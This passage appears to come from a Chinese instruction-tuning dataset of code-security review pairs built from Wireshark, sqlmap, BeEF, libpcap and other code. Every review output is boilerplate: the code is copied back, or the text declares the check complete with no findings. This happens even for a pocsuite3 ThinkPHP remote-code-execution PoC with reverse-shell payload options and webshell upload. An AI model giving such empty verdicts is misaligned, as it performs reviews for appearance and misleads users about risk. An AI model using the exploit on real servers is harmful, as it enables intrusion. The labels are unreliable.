    col_set_str(pinfo->cinfo, COL_INFO, "Request");
    col_append_fstr(pinfo->cinfo, COL_INFO, " %s", tvb_get_string_enc(pinfo->pool, tvb, 0, pLen - 5, ENC_ASCII));
  } else {
    col_set_str(pinfo->cinfo, COL_INFO, "Response");
    col_append_fstr(pinfo->cinfo, COL_INFO, " %s", tvb_get_string_enc(pinfo->pool, tvb, 0, pLen, ENC_ASCII));
  }

  proto_tree *tsdns_tree;
  proto_item *ti, *hidden_item, *address_item;

  ti = proto_tree_add_item(tree, proto_tsdns, tvb, offset, -1, ENC_NA);
  tsdns_tree = proto_item_add_subtree(ti, ett_tsdns);

  hidden_item = proto_tree_add_item(tsdns_tree, hf_tsdns_data, tvb, offset, -1, ENC_ASCII);
  proto_item_set_hidden(hidden_item);

  if (request...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-dns.c
 * Routines for TSDNS (TeamSpeak3 DNS) packet disassembly
 * Copyright 2018, Maciej Krueger <mkg20001@gmail.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/expert.h>
#include <epan/strutil.h>
#include <wsutil/strtoi.h>

#define TSDNS_PORT  41144   /* Not IANA registered */

void proto_register_tsdns(void);
void proto_reg_handoff_tsdns(void);
static dissector_handle_t tsdns_handle;

static int proto_tsdns = -1;

static int hf_tsdns_data = -1;
static int hf_tsdns_request = -1;
static int hf_tsdns_request_domain = -1;
static int hf_tsdns_response = -1;
static int hf_tsdns_response_ip = -1;
static int hf_tsdns_response_address = -1;
static int hf_tsdns_response_port = -1;

static expert_field ei_response_port_malformed = EI_INIT;

static gint ett_tsdns = -1;

static int dissect_tsdns(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data _U_)
{

  int         offset    = 0;
  gboolean    request   = FALSE;

  if (pinfo->destport == pinfo->match_uint) {
    request = TRUE;
  }

  col_set_str(pinfo->cinfo, COL_PROTOCOL, "TSDNS");

  int pLen = tvb_reported_length(tvb);

  if (request) {
    col_set_str(pinfo->cinfo, COL_INFO, "Request");
    col_append_fstr(pinfo->cinfo, COL_INFO, " %s", tvb_get_string_enc(pinfo->pool, tvb, 0, pLen - 5, ENC_ASCII));
  } else {
    col_set_str(pinfo->cinfo, COL_INFO, "Response");
    col_append_fstr(pinfo->cinfo, COL_INFO, " %s", tvb_get_string_enc(pinfo->pool, tvb, 0, pLen, ENC_ASCII));
  }

  proto_tree *tsdns_tree;
  proto_item *ti, *hidden_item, *address_item;

  ti = proto_tree_add_item(tree, proto_tsdns, tvb, offset, -1, ENC_NA);
  tsdns_tree = proto_item_add_subtree(ti, ett_tsdns);

  hidden_item = proto_tree_add_item(tsdns_tree, hf_tsdns_data, tvb, offset, -1, ENC_ASCII);
  proto_item_set_hidden(hidden_item);

  if (request...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

class CreateCommands < ActiveRecord::Migration[6.0]
  def change
    create_table :commands do |t|
      t.references :command_module
      t.references :hooked_browser
      t.text :data
      t.datetime :creationdate
      t.text :label
      t.boolean :instructions_sent, default: false
    end
  end
end


Instruction: 检查这段代码是否存在安全问题

Input:
class CreateCommands < ActiveRecord::Migration[6.0]
  def change
    create_table :commands do |t|
      t.references :command_module
      t.references :hooked_browser
      t.text :data
      t.datetime :creationdate
      t.text :label
      t.boolean :instructions_sent, default: false
    end
  end
end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* Do not modify this file. Changes will be overwritten.                      */
/* Generated automatically by the ASN.1 to Wireshark dissector compiler       */
/* packet-h323.c                                                              */
/* asn2wrs.py -L -p h323 -c ./h323.cnf -s ./packet-h323-template -D . -O ../.. RAS-PROTOCOL-TUNNEL.asn ROBUSTNESS-DATA.asn */

/* packet-h323.c
 * Routines for H.323 packet dissection
 * 2007  Tomas Kukosa
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/oids.h>
#include <epan/asn1.h>

#include "packet-per.h"
#include "packet-h225.h"
#include "packet-h323.h"

#define PNAME  "H.323"
#define PSNAME "H.323"
#define PFNAME "h323"

void proto_register_h323(void);
void proto_reg_handoff_h323(void);

/* Generic Extensible Framework */
gef_ctx_t* gef_ctx_alloc(wmem_allocator_t *pool, gef_ctx_t *parent, const gchar *type) {
  gef_ctx_t *gefx;

  gefx = wmem_new0(pool, gef_ctx_t);
  gefx->signature = GEF_CTX_SIGNATURE;
  gefx->parent = parent;
  gefx->type = type;
  return gefx;
}

gboolean gef_ctx_check_signature(gef_ctx_t *gefx) {
  return gefx && (gefx->signature == GEF_CTX_SIGNATURE);
}

gef_ctx_t* gef_ctx_get(void *ptr) {
  gef_ctx_t *gefx = (gef_ctx_t*)ptr;
  asn1_ctx_t *actx = (asn1_ctx_t*)ptr;

  if (!asn1_ctx_check_signature(actx))
    actx = NULL;

  if (actx)
    gefx = (gef_ctx_t *)actx->private_data;

  if (!gef_ctx_check_signature(gefx))
    gefx = NULL;

  return gefx;
}

void gef_ctx_update_key(wmem_allocator_t *pool, gef_ctx_t *gefx) {
  const gchar *parent_key;

  if (!gefx) return;
  parent_key = (gefx->parent) ? gefx->parent->key : NULL;
  gefx->key = wmem_strdup_printf(pool,
    "%s%s"    /* parent prefix */
    "%s%s%s"  /* type, id */
    "%s%s"    /* subid */,
    (parent_key) ? parent_key : "", (parent_key) ? "/" : "",
    (gefx->type)...


Instruction: 检查这段代码是否存在安全问题

Input:
/* Do not modify this file. Changes will be overwritten.                      */
/* Generated automatically by the ASN.1 to Wireshark dissector compiler       */
/* packet-h323.c                                                              */
/* asn2wrs.py -L -p h323 -c ./h323.cnf -s ./packet-h323-template -D . -O ../.. RAS-PROTOCOL-TUNNEL.asn ROBUSTNESS-DATA.asn */

/* packet-h323.c
 * Routines for H.323 packet dissection
 * 2007  Tomas Kukosa
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/oids.h>
#include <epan/asn1.h>

#include "packet-per.h"
#include "packet-h225.h"
#include "packet-h323.h"

#define PNAME  "H.323"
#define PSNAME "H.323"
#define PFNAME "h323"

void proto_register_h323(void);
void proto_reg_handoff_h323(void);

/* Generic Extensible Framework */
gef_ctx_t* gef_ctx_alloc(wmem_allocator_t *pool, gef_ctx_t *parent, const gchar *type) {
  gef_ctx_t *gefx;

  gefx = wmem_new0(pool, gef_ctx_t);
  gefx->signature = GEF_CTX_SIGNATURE;
  gefx->parent = parent;
  gefx->type = type;
  return gefx;
}

gboolean gef_ctx_check_signature(gef_ctx_t *gefx) {
  return gefx && (gefx->signature == GEF_CTX_SIGNATURE);
}

gef_ctx_t* gef_ctx_get(void *ptr) {
  gef_ctx_t *gefx = (gef_ctx_t*)ptr;
  asn1_ctx_t *actx = (asn1_ctx_t*)ptr;

  if (!asn1_ctx_check_signature(actx))
    actx = NULL;

  if (actx)
    gefx = (gef_ctx_t *)actx->private_data;

  if (!gef_ctx_check_signature(gefx))
    gefx = NULL;

  return gefx;
}

void gef_ctx_update_key(wmem_allocator_t *pool, gef_ctx_t *gefx) {
  const gchar *parent_key;

  if (!gefx) return;
  parent_key = (gefx->parent) ? gefx->parent->key : NULL;
  gefx->key = wmem_strdup_printf(pool,
    "%s%s"    /* parent prefix */
    "%s%s%s"  /* type, id */
    "%s%s"    /* subid */,
    (parent_key) ? parent_key : "", (parent_key) ? "/" : "",
    (gefx->type)...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

try:
    import jaydebeapi
    import jpype
except:
    pass

import logging

from lib.core.common import checkFile
from lib.core.common import getSafeExString
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import logger
from lib.core.exception import SqlmapConnectionException
from plugins.generic.connector import Connector as GenericConnector

class Connector(GenericConnector):
    """
    Homepage: https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/
    User guide: https://pypi.python.org/pypi/JayDeBeApi/#usage & http://jpype.sourceforge.net/doc/user-guide/userguide.html
    API: -
    Debian package: -
    License: LGPL & Apache License 2.0
    """

    def connect(self):
        self.initConnection()
        try:
            msg = "please enter the location of 'cachejdbc.jar'? "
            jar = readInput(msg)
            checkFile(jar)
            args = "-Djava.class.path=%s" % jar
            jvm_path = jpype.getDefaultJVMPath()
            jpype.startJVM(jvm_path, args)
        except Exception as ex:
            raise SqlmapConnectionException(getSafeExString(ex))

        try:
            driver = 'com.intersys.jdbc.CacheDriver'
            connection_string = 'jdbc:Cache://%s:%d/%s' % (self.hostname, self.port, self.db)
            self.connector = jaydebeapi.connect(driver, connection_string, str(self.user), str(self.password))
        except Exception as ex:
            raise SqlmapConnectionException(getSafeExString(ex))

        self.initCursor()
        self.printConnected()

    def fetchall(self):
        try:
            return self.cursor.fetchall()
        except Exception as ex:
            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex))
            return None

    def execute(self, query...


Instruction: 检查这段代码是否存在安全问题

Input:
#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

try:
    import jaydebeapi
    import jpype
except:
    pass

import logging

from lib.core.common import checkFile
from lib.core.common import getSafeExString
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import logger
from lib.core.exception import SqlmapConnectionException
from plugins.generic.connector import Connector as GenericConnector

class Connector(GenericConnector):
    """
    Homepage: https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/
    User guide: https://pypi.python.org/pypi/JayDeBeApi/#usage & http://jpype.sourceforge.net/doc/user-guide/userguide.html
    API: -
    Debian package: -
    License: LGPL & Apache License 2.0
    """

    def connect(self):
        self.initConnection()
        try:
            msg = "please enter the location of 'cachejdbc.jar'? "
            jar = readInput(msg)
            checkFile(jar)
            args = "-Djava.class.path=%s" % jar
            jvm_path = jpype.getDefaultJVMPath()
            jpype.startJVM(jvm_path, args)
        except Exception as ex:
            raise SqlmapConnectionException(getSafeExString(ex))

        try:
            driver = 'com.intersys.jdbc.CacheDriver'
            connection_string = 'jdbc:Cache://%s:%d/%s' % (self.hostname, self.port, self.db)
            self.connector = jaydebeapi.connect(driver, connection_string, str(self.user), str(self.password))
        except Exception as ex:
            raise SqlmapConnectionException(getSafeExString(ex))

        self.initCursor()
        self.printConnected()

    def fetchall(self):
        try:
            return self.cursor.fetchall()
        except Exception as ex:
            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex))
            return None

    def execute(self, query...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

### HEAD

### 1.7.8 Marsh 4th, 2019
* Add 720k angular-tooltips module
* Fix sticky sass
* Fix template list
* Fix wp-ng-router base state
* Replace component mm.foundation
* Fix module init
* Fix url ui-router
* Fix wp_ng_get_ng_router_url with nested route
* Add transient cache ui router states
* Bug fix controllerAs and rename with prefix $
* Fix smoothscrool offset selector not found.
* Add foundation angularjs dropdown pane-align top for dropup

### 1.7.7 January 28th, 2019
* Remove woocommerce fix cart cookie on rest request.
* Add some function class template. Fix list template add action template
* Bug fixing wp-ng-router set otherwise to all url not only wrapped.
* Update ng-location-search to v1.1.2
* Update slick-carousel
* Add template_plugin, template_plugin_item params to ng-gallery shortcode.
* ng-gallery fix gallery shortcode content not empty
* Fix html attributes change empty val to null val
* Remove antimoderate svg. Only jpeg or png.
* Bug fix initial-value if input number
* Fix foundation init
* Add reinit object fit on module loaded by oc.lazyload

### 1.7.6 December 18th, 2018
* Fix not exist $current_screen
* Fix ui-router
* Add ui-router option for set baseUrl
* Add multiple aliases and multiple sources webicon for default settings.

### 1.7.5 December 2th, 2018
* Fix webfont class
* Add shortcode pageslide
* Add foundation reinit on module loaded with oc.lazyload
* Some bug fix
* Fix slider height auto
* Fix wp_ng_json_encode unicode for shortcode
* Add module rc-http

### 1.7.4 November 13th, 2018
* Add parser tools

### 1.7.3 October 31th, 2018
* Fix unitegallery error

### 1.7.2 October 31th, 2018
* Fix aping gallery template link target and add rel attribute.

### 1.7.1 October 24th, 2018
* Add module ngRateIt
* Fix do_shortcode for content by apply_filters 'the_content'

### 1.7.0 October 23th, 2018
* Add shortcode ng-social-share-links
* Bug fixing ui-router restrict metabox for manage_options user
* Bug fix ui-router redirect pag...


Instruction: 检查这段代码是否存在安全问题

Input:
### HEAD

### 1.7.8 Marsh 4th, 2019
* Add 720k angular-tooltips module
* Fix sticky sass
* Fix template list
* Fix wp-ng-router base state
* Replace component mm.foundation
* Fix module init
* Fix url ui-router
* Fix wp_ng_get_ng_router_url with nested route
* Add transient cache ui router states
* Bug fix controllerAs and rename with prefix $
* Fix smoothscrool offset selector not found.
* Add foundation angularjs dropdown pane-align top for dropup

### 1.7.7 January 28th, 2019
* Remove woocommerce fix cart cookie on rest request.
* Add some function class template. Fix list template add action template
* Bug fixing wp-ng-router set otherwise to all url not only wrapped.
* Update ng-location-search to v1.1.2
* Update slick-carousel
* Add template_plugin, template_plugin_item params to ng-gallery shortcode.
* ng-gallery fix gallery shortcode content not empty
* Fix html attributes change empty val to null val
* Remove antimoderate svg. Only jpeg or png.
* Bug fix initial-value if input number
* Fix foundation init
* Add reinit object fit on module loaded by oc.lazyload

### 1.7.6 December 18th, 2018
* Fix not exist $current_screen
* Fix ui-router
* Add ui-router option for set baseUrl
* Add multiple aliases and multiple sources webicon for default settings.

### 1.7.5 December 2th, 2018
* Fix webfont class
* Add shortcode pageslide
* Add foundation reinit on module loaded with oc.lazyload
* Some bug fix
* Fix slider height auto
* Fix wp_ng_json_encode unicode for shortcode
* Add module rc-http

### 1.7.4 November 13th, 2018
* Add parser tools

### 1.7.3 October 31th, 2018
* Fix unitegallery error

### 1.7.2 October 31th, 2018
* Fix aping gallery template link target and add rel attribute.

### 1.7.1 October 24th, 2018
* Add module ngRateIt
* Fix do_shortcode for content by apply_filters 'the_content'

### 1.7.0 October 23th, 2018
* Add shortcode ng-social-share-links
* Bug fixing ui-router restrict metabox for manage_options user
* Bug fix ui-router redirect pag...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/*
 * eth-pfilt.c
 *
 * XXX - requires 'cd dev && ./MAKEDEV pfilt' if not already configured...
 *
 * Copyright (c) 2001 Dug Song <dugsong@monkey.org>
 *
 * $Id: eth-pfilt.c 563 2005-02-10 17:06:36Z dugsong $
 */

#include "config.h"

#include <sys/types.h>
#include <sys/time.h>
#include <sys/ioctl.h>

#include <net/if.h>
#include <net/pfilt.h>

#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include "dnet.h"

struct eth_handle {
	int	fd;
	int	sock;
	char	device[16];
};

eth_t *
eth_open(const char *device)
{
	struct eth_handle *e;
	int fd;

	if ((e = calloc(1, sizeof(*e))) != NULL) {
		strlcpy(e->device, device, sizeof(e->device));
		if ((e->fd = pfopen(e->device, O_WRONLY)) < 0 ||
		    (e->sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
			e = eth_close(e);
	}
	return (e);
}

int
eth_get(eth_t *e, eth_addr_t *ea)
{
	struct ifdevea ifd;

	strlcpy(ifd.ifr_name, e->device, sizeof(ifd.ifr_name));
	if (ioctl(e->sock, SIOCRPHYSADDR, &ifd) < 0)
		return (-1);
	memcpy(ea, ifd.current_pa, ETH_ADDR_LEN);
	return (0);
}

int
eth_set(eth_t *e, const eth_addr_t *ea)
{
	struct ifdevea ifd;

	strlcpy(ifd.ifr_name, e->device, sizeof(ifd.ifr_name));
	memcpy(ifd.current_pa, ea, ETH_ADDR_LEN);
	return (ioctl(e->sock, SIOCSPHYSADDR, &ifd));
}

ssize_t
eth_send(eth_t *e, const void *buf, size_t len)
{
	return (write(e->fd, buf, len));
}

eth_t *
eth_close(eth_t *e)
{
	if (e != NULL) {
		if (e->fd >= 0)
			close(e->fd);
		if (e->sock >= 0)
			close(e->sock);
		free(e);
	}
	return (NULL);
}


Instruction: 检查这段代码是否存在安全问题

Input:
/*
 * eth-pfilt.c
 *
 * XXX - requires 'cd dev && ./MAKEDEV pfilt' if not already configured...
 *
 * Copyright (c) 2001 Dug Song <dugsong@monkey.org>
 *
 * $Id: eth-pfilt.c 563 2005-02-10 17:06:36Z dugsong $
 */

#include "config.h"

#include <sys/types.h>
#include <sys/time.h>
#include <sys/ioctl.h>

#include <net/if.h>
#include <net/pfilt.h>

#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include "dnet.h"

struct eth_handle {
	int	fd;
	int	sock;
	char	device[16];
};

eth_t *
eth_open(const char *device)
{
	struct eth_handle *e;
	int fd;

	if ((e = calloc(1, sizeof(*e))) != NULL) {
		strlcpy(e->device, device, sizeof(e->device));
		if ((e->fd = pfopen(e->device, O_WRONLY)) < 0 ||
		    (e->sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
			e = eth_close(e);
	}
	return (e);
}

int
eth_get(eth_t *e, eth_addr_t *ea)
{
	struct ifdevea ifd;

	strlcpy(ifd.ifr_name, e->device, sizeof(ifd.ifr_name));
	if (ioctl(e->sock, SIOCRPHYSADDR, &ifd) < 0)
		return (-1);
	memcpy(ea, ifd.current_pa, ETH_ADDR_LEN);
	return (0);
}

int
eth_set(eth_t *e, const eth_addr_t *ea)
{
	struct ifdevea ifd;

	strlcpy(ifd.ifr_name, e->device, sizeof(ifd.ifr_name));
	memcpy(ifd.current_pa, ea, ETH_ADDR_LEN);
	return (ioctl(e->sock, SIOCSPHYSADDR, &ifd));
}

ssize_t
eth_send(eth_t *e, const void *buf, size_t len)
{
	return (write(e->fd, buf, len));
}

eth_t *
eth_close(eth_t *e)
{
	if (e != NULL) {
		if (e->fd >= 0)
			close(e->fd);
		if (e->sock >= 0)
			close(e->sock);
		free(e);
	}
	return (NULL);
}

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

"""
If you have issues about development, please read:
https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
for more about information, plz visit http://pocsuite.org
"""
from collections import OrderedDict
from urllib.parse import quote

from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, REVERSE_PAYLOAD, OptDict, VUL_TYPE
from pocsuite3.lib.utils import random_str

class DemoPOC(POCBase):
    vulID = '97715'  # ssvid
    version = '1.0'
    author = ['chenghs']
    vulDate = '2018-12-09'
    createDate = '2018-12-10'
    updateDate = '2018-12-10'
    references = ['https://www.seebug.org/vuldb/ssvid-97715']
    name = 'ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞利用（GetShell）'
    appPowerLink = 'http://www.thinkphp.cn/'
    appName = 'thinkphp'
    appVersion = 'thinkphp5.1.31'
    vulType = VUL_TYPE.CODE_EXECUTION
    desc = '''ThinkPHP官方2018年12月9日发布重要的安全更新，修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新
    ，由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞，受影响的版本包括5.0和5.1版本，推荐尽快更新到最新版本。'''
    samples = []
    category = POC_CATEGORY.EXPLOITS.WEBAPP
    pocDesc = '''攻击模式下将会生成一个一句话shell，成功返回shell地址，shell密码为pass'''

    def _options(self):
        o = OrderedDict()
        payload = {
            "nc": REVERSE_PAYLOAD.NC,
            "bash": REVERSE_PAYLOAD.BASH,
        }
        o["command"] = OptDict(selected="bash", default=payload)
        return o

    def _check(self, url):
        flag = 'Registered PHP Streams'
        data = OrderedDict([
            ("function", "call_user_func_array"),
            ("vars[0]", "phpinfo"),
            ("vars[1][]", "-1")
        ])
        payloads = [
            r"/?s=admin/\think\app/invokefunction",
            r"/admin.php?s=admin/\think\app/invokefunction",
            r"/index.php?s=admin/\think\app/invokefunction",
            r"/?s=index/\think\Container/invokefunction",
            r"/index.php?s=index/\think\Container/invokefunction",
            r"/index.php?s=index/\think\app/invokefunc...


Instruction: 检查这段代码是否存在安全问题

Input:
"""
If you have issues about development, please read:
https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
for more about information, plz visit http://pocsuite.org
"""
from collections import OrderedDict
from urllib.parse import quote

from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, REVERSE_PAYLOAD, OptDict, VUL_TYPE
from pocsuite3.lib.utils import random_str

class DemoPOC(POCBase):
    vulID = '97715'  # ssvid
    version = '1.0'
    author = ['chenghs']
    vulDate = '2018-12-09'
    createDate = '2018-12-10'
    updateDate = '2018-12-10'
    references = ['https://www.seebug.org/vuldb/ssvid-97715']
    name = 'ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞利用（GetShell）'
    appPowerLink = 'http://www.thinkphp.cn/'
    appName = 'thinkphp'
    appVersion = 'thinkphp5.1.31'
    vulType = VUL_TYPE.CODE_EXECUTION
    desc = '''ThinkPHP官方2018年12月9日发布重要的安全更新，修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新
    ，由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞，受影响的版本包括5.0和5.1版本，推荐尽快更新到最新版本。'''
    samples = []
    category = POC_CATEGORY.EXPLOITS.WEBAPP
    pocDesc = '''攻击模式下将会生成一个一句话shell，成功返回shell地址，shell密码为pass'''

    def _options(self):
        o = OrderedDict()
        payload = {
            "nc": REVERSE_PAYLOAD.NC,
            "bash": REVERSE_PAYLOAD.BASH,
        }
        o["command"] = OptDict(selected="bash", default=payload)
        return o

    def _check(self, url):
        flag = 'Registered PHP Streams'
        data = OrderedDict([
            ("function", "call_user_func_array"),
            ("vars[0]", "phpinfo"),
            ("vars[1][]", "-1")
        ])
        payloads = [
            r"/?s=admin/\think\app/invokefunction",
            r"/admin.php?s=admin/\think\app/invokefunction",
            r"/index.php?s=admin/\think\app/invokefunction",
            r"/?s=index/\think\Container/invokefunction",
            r"/index.php?s=index/\think\Container/invokefunction",
            r"/index.php?s=index/\think\app/invokefunc...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* media_params.c
 * Routines for parsing media type parameters as per RFC 822 and RFC 2045
 * Copyright 2004, Anders Broman.
 * Copyright 2004, Olivier Biot.
 *
 * Refer to the AUTHORS file or the AUTHORS section in the man page
 * for contacting the author(s) of this file.
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <string.h>
#include <glib.h>

#include <epan/media_params.h>

static const char *
ws_get_next_media_type_parameter(const char *pos, gsize *retnamelen,
                                 const char **retvalue, gsize *retvaluelen,
                                 const char **nextp)
{
    const char *p, *namep, *valuep;
    char c;

    p = pos;
    while ((c = *p) != '\0' && g_ascii_isspace(c))
        p++; /* Skip white space */

    if (c == '\0') {
        /* No more parameters left */
        return NULL;
    }

    namep = p;

    /* Look for a '\0' (end of string), '=' (end of parameter name,
       beginning of parameter value), or ';' (end of parameter). */
    while ((c = *p) != '\0' && c != '=' && c != ';')
        p++;
    *retnamelen = (gsize) (p - namep);
    if (c == '\0') {
        /* End of string, so end of parameter, no parameter value */
        if (retvalue != NULL)
            *retvalue = NULL;
        if (retvaluelen != NULL)
            *retvaluelen = 0;
        *nextp = p;
        return namep;
    }
    if (c == ';') {
        /* End of parameter, no parameter value */
        if (retvalue != NULL)
            *retvalue = NULL;
        if (retvaluelen != NULL)
            *retvaluelen = 0;
        *nextp = p + 1;
        return namep;
    }
    /* The parameter has a value.  Skip the '=' */
    p++;
    valuep = p;
    if (retvalue != NULL)
        *retvalue = valuep;
    /* Is the value a quoted string? */
    if (*p == '"') {
        /* Yes. Skip the opening quote, and scan fo...


Instruction: 检查这段代码是否存在安全问题

Input:
/* media_params.c
 * Routines for parsing media type parameters as per RFC 822 and RFC 2045
 * Copyright 2004, Anders Broman.
 * Copyright 2004, Olivier Biot.
 *
 * Refer to the AUTHORS file or the AUTHORS section in the man page
 * for contacting the author(s) of this file.
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <string.h>
#include <glib.h>

#include <epan/media_params.h>

static const char *
ws_get_next_media_type_parameter(const char *pos, gsize *retnamelen,
                                 const char **retvalue, gsize *retvaluelen,
                                 const char **nextp)
{
    const char *p, *namep, *valuep;
    char c;

    p = pos;
    while ((c = *p) != '\0' && g_ascii_isspace(c))
        p++; /* Skip white space */

    if (c == '\0') {
        /* No more parameters left */
        return NULL;
    }

    namep = p;

    /* Look for a '\0' (end of string), '=' (end of parameter name,
       beginning of parameter value), or ';' (end of parameter). */
    while ((c = *p) != '\0' && c != '=' && c != ';')
        p++;
    *retnamelen = (gsize) (p - namep);
    if (c == '\0') {
        /* End of string, so end of parameter, no parameter value */
        if (retvalue != NULL)
            *retvalue = NULL;
        if (retvaluelen != NULL)
            *retvaluelen = 0;
        *nextp = p;
        return namep;
    }
    if (c == ';') {
        /* End of parameter, no parameter value */
        if (retvalue != NULL)
            *retvalue = NULL;
        if (retvaluelen != NULL)
            *retvaluelen = 0;
        *nextp = p + 1;
        return namep;
    }
    /* The parameter has a value.  Skip the '=' */
    p++;
    valuep = p;
    if (retvalue != NULL)
        *retvalue = valuep;
    /* Is the value a quoted string? */
    if (*p == '"') {
        /* Yes. Skip the opening quote, and scan fo...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>

#include "portability.h"

/*
 * vasprintf() and asprintf() for platforms with a C99-compliant
 * snprintf() - so that, if you format into a 1-byte buffer, it
 * will return how many characters it would have produced had
 * it been given an infinite-sized buffer.
 */
int
pcap_vasprintf(char **strp, const char *format, va_list args)
{
	char buf;
	int len;
	size_t str_size;
	char *str;
	int ret;

	/*
	 * XXX - the C99 standard says, in section 7.19.6.5 "The
	 * nprintf function":
	 *
	 *    The snprintf function is equivalent to fprintf, except that
	 *    the output is written into an array (specified by argument s)
	 *    rather than to a stream.  If n is zero, nothing is written,
	 *    and s may be a null pointer.  Otherwise, output characters
	 *    beyond the n-1st are discarded rather than being written
	 *    to the array, and a null character is written at the end
	 *    of the characters actually written into the array.
	 *
	 *        ...
	 *
	 *    The snprintf function returns the number of characters that
	 *    would have been written had n been sufficiently large, not
	 *    counting the terminating null character, or a negative value
	 *    if an encoding error occurred. Thus, the null-terminated
	 *    output has been completely written if and only if the returned
	 *    value is nonnegative and less than n.
	 *
	 * That doesn't make it entirely clear whether, if a null buffer
	 * pointer and a zero count are passed, it will return the number
	 * of characters that would have been written had a buffer been
	 * passed.
	 *
	 * And, even if C99 *does*, in fact, say it has to work, it
	 * doesn't work in Solaris 8, for example - it returns -1 for
	 * NULL/0, but returns the correct character count for a 1-byte
	 * buffer.
	 *
	 * So we pass a one-character pointer in order to find out how
	 * many characters this format and those arguments will need
	 * without actually generating any more of tho...


Instruction: 检查这段代码是否存在安全问题

Input:
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>

#include "portability.h"

/*
 * vasprintf() and asprintf() for platforms with a C99-compliant
 * snprintf() - so that, if you format into a 1-byte buffer, it
 * will return how many characters it would have produced had
 * it been given an infinite-sized buffer.
 */
int
pcap_vasprintf(char **strp, const char *format, va_list args)
{
	char buf;
	int len;
	size_t str_size;
	char *str;
	int ret;

	/*
	 * XXX - the C99 standard says, in section 7.19.6.5 "The
	 * nprintf function":
	 *
	 *    The snprintf function is equivalent to fprintf, except that
	 *    the output is written into an array (specified by argument s)
	 *    rather than to a stream.  If n is zero, nothing is written,
	 *    and s may be a null pointer.  Otherwise, output characters
	 *    beyond the n-1st are discarded rather than being written
	 *    to the array, and a null character is written at the end
	 *    of the characters actually written into the array.
	 *
	 *        ...
	 *
	 *    The snprintf function returns the number of characters that
	 *    would have been written had n been sufficiently large, not
	 *    counting the terminating null character, or a negative value
	 *    if an encoding error occurred. Thus, the null-terminated
	 *    output has been completely written if and only if the returned
	 *    value is nonnegative and less than n.
	 *
	 * That doesn't make it entirely clear whether, if a null buffer
	 * pointer and a zero count are passed, it will return the number
	 * of characters that would have been written had a buffer been
	 * passed.
	 *
	 * And, even if C99 *does*, in fact, say it has to work, it
	 * doesn't work in Solaris 8, for example - it returns -1 for
	 * NULL/0, but returns the correct character count for a 1-byte
	 * buffer.
	 *
	 * So we pass a one-character pointer in order to find out how
	 * many characters this format and those arguments will need
	 * without actually generating any more of tho...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* column_list_models.cpp
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

